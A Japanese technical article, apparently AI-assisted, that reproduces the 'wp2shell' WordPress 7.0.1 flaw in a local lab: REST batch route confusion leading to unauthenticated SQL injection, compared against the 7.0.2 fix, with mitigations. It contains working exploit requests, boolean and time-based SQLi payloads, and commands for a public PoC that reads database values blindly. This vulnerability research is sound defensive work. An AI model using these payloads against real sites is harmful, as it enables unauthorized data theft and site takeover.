2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

WordPress Core「wp2shell」を検証する:REST Batch Route Confusionから未認証SQLインジェクションまで

2
Posted at

AI利用に関する注記

この記事は、生成AIを利用して調査、コード解析、検証手順の整理および文章作成を行ったものです。記載した検証結果は、隔離したローカル環境で実際に確認した内容に基づいていますが、内容の完全性や正確性を保証するものではありません。実環境へ適用する場合は、WordPress公式のセキュリティ情報および一次資料も必ず確認してください。また、再現手順は自分が管理する環境、または明示的な許可を得た環境でのみ使用してください。

はじめに

2026年7月、WordPress Coreの未認証RCEとして「wp2shell」が公表されました。

WordPress公式は、この問題を次のように説明しています。

REST API batch-route confusion and SQL injection issue leading to Remote Code Execution

影響を受けるバージョンは次のとおりです。

系列 影響を受けるバージョン 修正版
6.9.x 6.9.0〜6.9.4 6.9.5
7.0.x 7.0.0〜7.0.1 7.0.2

本記事では、隔離したローカルDocker環境を使い、次の範囲を検証します。

  • REST Batch APIにおけるroute confusion
  • route confusionを二段階で利用したRESTパラメータ検証の回避
  • WP_Query::author__not_inへの未認証SQLインジェクション
  • WordPress 7.0.1と7.0.2の挙動比較
  • 公開PoC Icex0/wp2shell-pocのコード監査と安全な範囲での検証

発見者が確認した未認証RCEの最終チェーンは、本記事執筆時点では公開されていません。また、公開PoCに含まれるshell機能は、管理者認証後にプラグインをアップロードする補助機能であり、未認証RCEの最終段階そのものではありません。

注意事項

この記事の手順は、自分が管理する隔離されたローカル環境だけを対象としてください。許可のないWebサイトへ再現リクエストを送信してはいけません。

本検証では、次の操作を行っていません。

  • INSERTUPDATEDELETEDROPTRUNCATE
  • 実データや認証情報の抽出
  • パスワードハッシュのクラック
  • Webシェルの設置
  • OSコマンドの実行

検証構成

比較のため、次の2環境をそれぞれ独立したDockerコンテナとして起動します。

用途 WordPress URL例
脆弱版 7.0.1 http://127.0.0.1:18081
修正版 7.0.2 http://127.0.0.1:18082

両環境は別々の一時DBを使用し、HTTPポートは127.0.0.1にだけバインドします。脆弱版が自動的に修正版へ更新されないよう、検証中はCoreの自動更新を無効化します。

脆弱性の全体像

今回確認した範囲のデータフローは次のとおりです。

未認証HTTPリクエスト
  ↓
/batch/v1
  ↓ 解析不能なpathを先頭へ挿入
$requests / $matches / $validationの添字ずれ
  ↓
別ルートのハンドラが攻撃者制御リクエストを処理
  ↓ 二段目のroute confusion
投稿一覧ハンドラへ未検証のauthor_excludeが到達
  ↓
author_exclude → WP_Query::author__not_in
  ↓
スカラー文字列がSQLへ直接連結
  ↓
未認証SQLインジェクション

ポイントは、単独のバグではなく、次の2つが連鎖することです。

  1. REST Batch処理で並行配列の添字がずれる
  2. WP_Queryがスカラーのauthor__not_inを整数化せずSQLへ連結する

問題1:REST Batchの配列添字ずれ

解析エラーの格納

WordPress 7.0.1のwp-includes/rest-api/class-wp-rest-server.phpでは、Batch要素のpathwp_parse_url()で解析します。

foreach ( $batch_request['requests'] as $args ) {
	$parsed_url = wp_parse_url( $args['path'] );

	if ( false === $parsed_url ) {
		$requests[] = new WP_Error(
			'parse_path_failed',
			__( 'Could not parse the path.' ),
			array( 'status' => 400 )
		);
		continue;
	}

	$single_request = new WP_REST_Request(
		$args['method'] ?? 'POST',
		$parsed_url['path']
	);
	$requests[] = $single_request;
}

解析できないパスは、WP_REST_RequestではなくWP_Errorとして$requestsへ追加されます。この処理自体は問題ではありません。

$matchesだけ要素が欠落する

問題は、後続のハンドラ照合処理です。

foreach ( $requests as $single_request ) {
	if ( is_wp_error( $single_request ) ) {
		$has_error    = true;
		$validation[] = $single_request;
		continue;
	}

	$match     = $this->match_request_to_handler( $single_request );
	$matches[] = $match;
}

WP_Errorの場合、$validationには要素を追加しますが、$matchesには追加しません。

その結果、配列は次のようにずれます。

添字 $requests $validation $matches(7.0.1)
0 解析エラー 解析エラー リクエスト1のハンドラ
1 リクエスト1 リクエスト1の検証結果 リクエスト2のハンドラ
2 リクエスト2 リクエスト2の検証結果 要素なし

後段は、元の$requestsの添字で$matchesを参照します。

foreach ( $requests as $i => $single_request ) {
	if ( is_wp_error( $single_request ) ) {
		continue;
	}

	$match = $matches[ $i ];
	list( $route, $handler ) = $match;

	$result = $this->respond_to_request(
		$single_request,
		$route,
		$handler,
		$error
	);
}

これにより、「リクエスト1のパラメータを保持するオブジェクト」が「リクエスト2のハンドラ」で処理されます。これがroute confusionです。

WordPress 7.0.2のroute confusion修正

7.0.2では、WP_Errorの場合も$matchesへ要素を追加します。

foreach ( $requests as $single_request ) {
	if ( is_wp_error( $single_request ) ) {
		$has_error    = true;
		$matches[]    = $single_request;
		$validation[] = $single_request;
		continue;
	}

	$match     = $this->match_request_to_handler( $single_request );
	$matches[] = $match;
}

追加された重要な1行は次です。

$matches[] = $single_request;

これにより、$requests$matches$validationの要素数と添字が一致します。

route confusionの非破壊再現

次のJSONをroute-confusion-request.jsonとして保存します。

{
  "validation": "normal",
  "requests": [
    {
      "method": "POST",
      "path": "http://:"
    },
    {
      "method": "POST",
      "path": "/wp/v2/posts",
      "body": {
        "requests": [
          {
            "method": "GET",
            "path": "/"
          }
        ]
      }
    },
    {
      "method": "POST",
      "path": "/batch/v1",
      "body": {
        "requests": []
      }
    }
  ]
}

脆弱版へ送信します。

curl -i -sS -X POST 'http://127.0.0.1:18081/?rest_route=/batch/v1' \
  -H 'Content-Type: application/json' \
  --data-binary @route-confusion-request.json

WordPress 7.0.1では、/wp/v2/postsとして指定した2番目のリクエストが、後続の/batch/v1ハンドラで処理されます。そのため、2番目の応答が入れ子のBatchレスポンスになります。

{
  "body": {
    "responses": [
      {
        "body": {
          "code": "rest_batch_not_allowed"
        },
        "status": 400
      }
    ]
  },
  "status": 207
}

修正版へ同じJSONを送信します。

curl -i -sS -X POST 'http://127.0.0.1:18082/?rest_route=/batch/v1' \
  -H 'Content-Type: application/json' \
  --data-binary @route-confusion-request.json

7.0.2では2番目の要素が本来の投稿作成リクエストとして処理され、未認証のため401で拒否されます。

{
  "body": {
    "code": "rest_cannot_create",
    "data": {
      "status": 401
    }
  },
  "status": 401
}

問題2:author__not_inのSQL直接連結

投稿REST APIでは、外部パラメータauthor_excludeWP_Queryauthor__not_inへ変換します。

$parameter_mappings = array(
	'author'         => 'author__in',
	'author_exclude' => 'author__not_in',
	'exclude'        => 'post__not_in',
	'include'        => 'post__in',
);

通常は、RESTスキーマによってauthor_excludeが整数配列として検証されます。しかし、route confusionによって別ルートの検証結果と投稿一覧ハンドラが組み合わされると、未検証のスカラー文字列を投稿ハンドラへ到達させられます。

WordPress 7.0.1のwp-includes/class-wp-query.phpには、次の処理があります。

if ( ! empty( $query_vars['author__not_in'] ) ) {
	if ( is_array( $query_vars['author__not_in'] ) ) {
		$query_vars['author__not_in'] = array_unique(
			array_map( 'absint', $query_vars['author__not_in'] )
		);
		sort( $query_vars['author__not_in'] );
	}

	$author__not_in = implode(
		',',
		(array) $query_vars['author__not_in']
	);
	$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
}

入力が配列の場合だけabsint()を通しています。入力がスカラー文字列の場合は、整数化されずSQLへ直接連結されます。

例えば、次の文字列が到達した場合:

1) OR 1=1 -- 

SQL条件は次のようになります。

AND wp_posts.post_author NOT IN (1) OR 1=1 -- )

WordPress 7.0.2のSQLi修正

7.0.2では、入力形式にかかわらずwp_parse_id_list()を通します。

if ( ! empty( $query_vars['author__not_in'] ) ) {
	$author__not_in_id_list = wp_parse_id_list(
		$query_vars['author__not_in']
	);

	if ( count( $author__not_in_id_list ) > 0 ) {
		sort( $author__not_in_id_list );
		$where .= sprintf(
			" AND {$wpdb->posts}.post_author NOT IN (%s) ",
			implode( ',', $author__not_in_id_list )
		);
		$query_vars['author__not_in'] = $author__not_in_id_list;
	}
}

同じ入力に対する比較は次のようになりました。

7.0.1: post_author NOT IN (1) OR 1=1 -- )
7.0.2: post_author NOT IN (0,1)

SQLインジェクションの非破壊確認

本検証では、Batch route confusionを二段階で使用します。

  1. 外側のBatchで、投稿APIのリクエストをBatchハンドラとして処理させる
  2. 内側のBatchで、未検証のauthor_excludeを持つリクエストを投稿一覧ハンドラとして処理させる

真偽値ペイロードを使うと、WordPress 7.0.1では実際に次のSQL条件が実行されました。

WHERE 1=1
  AND wp_posts.post_author NOT IN (1) OR 1=1 -- )
  AND ((wp_posts.post_type = 'post' AND (wp_posts.post_status = 'publish')))

投稿一覧APIの応答には、通常のpostだけでなく、本来除外されるpageも含まれました。これは、注入したOR 1=1がSQLの意味を実際に変化させた証拠です。

時間ベースで確認する場合

検索結果を変更せず、時間差で到達を確認する場合は、短いSLEEPを使用できます。

1) OR (SELECT SLEEP(0.2)) -- 

ただし、SLEEPは対象行ごとに評価される可能性があります。データを書き換えない一方で、対象行数や並列数に応じてDB接続を占有するため、必ず短い時間・単発・ローカル環境だけに限定してください。

絶対時間ではなく、同じマシンで脆弱版と修正版の相対差を比較します。

curl -sS -o /dev/null \
  -w 'http_code=%{http_code} time_total=%{time_total}\n' \
  -X POST 'http://127.0.0.1:18081/?rest_route=/batch/v1' \
  -H 'Content-Type: application/json' \
  --data-binary @sqli-sleep-route-confusion-request.json

公開PoCの検証

公開PoCとして、Icex0/wp2shell-pocを確認しました。

実行前の監査

PoCのPythonソースを実行前に確認しました。

  • Python標準ライブラリだけを使用する
  • 指定した対象URLまたは明示したプロキシ以外へ通信しない
  • 通常のcheckは公開マーカーと無害なroute confusionパターンを確認する
  • --confirm-sqliを付けた場合だけ時間差SQLiを送信する
  • readはblind SQLiでDB値を抽出する
  • shellは管理者認証後にプラグインWebシェルを設置する

read --preset usersshellは影響が大きいため実行しません。

route confusionの確認

プロジェクトルールに合わせ、uvで実行します。

git clone https://github.com/Icex0/wp2shell-poc.git
cd wp2shell-poc

uv run --python 3.12 wp2shell.py check \
  http://127.0.0.1:18081 \
  --rest-route

脆弱版では、次の3マーカーが揃います。

parse_path_failed
block_cannot_read
rest_batch_not_allowed

出力例:

VULNERABLE — batch route-confusion behavior detected.

7.0.2ではblock_cannot_readが現れず、PoCはroute confusionパターンを検出しません。

時間差SQLiの確認

PoCの既定値は3秒・3ペアですが、ローカル検証では負荷を抑えるため、1秒・1ペアへ制限します。

uv run --no-sync wp2shell.py check \
  http://127.0.0.1:18081 \
  --rest-route \
  --confirm-sqli \
  --sleep 1 \
  --samples 1

確認できる出力例:

SQL timing confirmed — baseline 0.02s, injected 1.04s.

応答時間は環境によって異なります。重要なのは、ベースラインと遅延ペイロードの相対差です。

DB読取り機能の最小確認

機密情報を取得せず、blind SQLiによる抽出機能だけを確認するため、固定値を読み取ります。

uv run --no-sync wp2shell.py read \
  http://127.0.0.1:18081 \
  --rest-route \
  --query 'SELECT 7' \
  --max-length 2

出力例:

Reading: SELECT 7
Result: 7
8 request(s) sent.

これにより、単なる時間遅延だけでなく、未認証のblind SQLiで攻撃者が指定したスカラーSQL式の結果を復元できることが分かります。

公開PoCのshellは未認証RCEそのものではない

PoCのshell処理は次の流れです。

SQLiでWordPressユーザーとパスワードハッシュを取得
  ↓
別途、平文パスワードを回復
  ↓
WordPressへ管理者としてログイン
  ↓
通常のプラグインアップロード機能を使用
  ↓
PHP Webシェルを設置

つまり、公開PoCのshellは、取得した認証情報を利用するpost-authの影響実証です。Searchlight Cyberが確認した「前提条件なしの未認証RCE」の最終段階は、このPoCには含まれていません。

REST処理の再入防止

WordPress 7.0.2では、RESTディスパッチ中に新しいトップレベルREST処理を始めない防御も追加されています。

if ( isset( $GLOBALS['wp_rest_server'] )
	&& $GLOBALS['wp_rest_server'] instanceof WP_REST_Server
	&& $GLOBALS['wp_rest_server']->is_dispatching()
) {
	return;
}
public function serve_request( $path = null ) {
	if ( $this->is_dispatching() ) {
		return false;
	}
}

この修正は、REST処理の再入がRCEチェーンに関係した可能性を示します。ただし、完全なRCE手順は公開されていないため、最終チェーンとの関係は断定できません。

検証結果まとめ

検証項目 WordPress 7.0.1 WordPress 7.0.2
route confusion 再現 再現せず
author__not_in SQLi 再現 整数IDへ正規化
時間差SQLi 遅延差を確認 SQLへ到達せず
blind SQL値読取り 固定値の復元に成功 未実施
未認証RCE最終段階 未検証・非公開 修正済みと公式発表

対策

最優先はWordPress Coreの更新です。

  • 6.9系:6.9.5以上
  • 7.0系:7.0.2以上

すぐに更新できない場合の一時対策として、匿名アクセスから次の両方を遮断します。

/wp-json/batch/v1
?rest_route=/batch/v1

片方だけでは、もう一方のルーティング形式から到達できる可能性があります。REST API全体を無効化する方法もありますが、正規の連携機能へ影響するため、恒久対策ではなく更新までの一時措置と考えるべきです。

まとめ

wp2shellで確認した問題は、REST Batch APIの単純な入力検証不足ではありません。

  1. 解析エラーによって並行配列の添字がずれる
  2. 別リクエストのハンドラが攻撃者制御のリクエストを処理する
  3. 本来適用されるRESTパラメータ検証を回避する
  4. author_excludeが未検証のままWP_Query::author__not_inへ到達する
  5. スカラー文字列がSQLへ直接連結される

という複数の不備が連鎖しています。

ローカル検証では、WordPress 7.0.1に対するroute confusion、SQL条件の改変、時間差SQLi、blind SQL値読取りまで再現できました。同じ入力を7.0.2へ送ると、route confusionは成立せず、author__not_inも整数IDリストへ正規化されました。

参考資料

2
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?